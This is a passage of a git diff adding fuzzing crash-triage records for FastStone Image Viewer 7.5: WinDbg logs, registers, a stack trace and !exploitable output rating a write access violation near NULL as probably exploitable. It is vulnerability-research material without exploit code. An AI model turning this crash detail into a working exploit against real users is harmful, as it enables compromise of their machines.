b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..25a1855 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f93afaf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f30.111c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244830000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.51899e+012 1.19347e+022 3.76516e+006 -7.29811e+015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00250000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00250000 c88d5085 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00250000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f93afaf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f30.111c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244830000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.51899e+012 1.19347e+022 3.76516e+006 -7.29811e+015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00250000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00250000 c88d5085 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00250000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..25a1855 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..de06d63 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 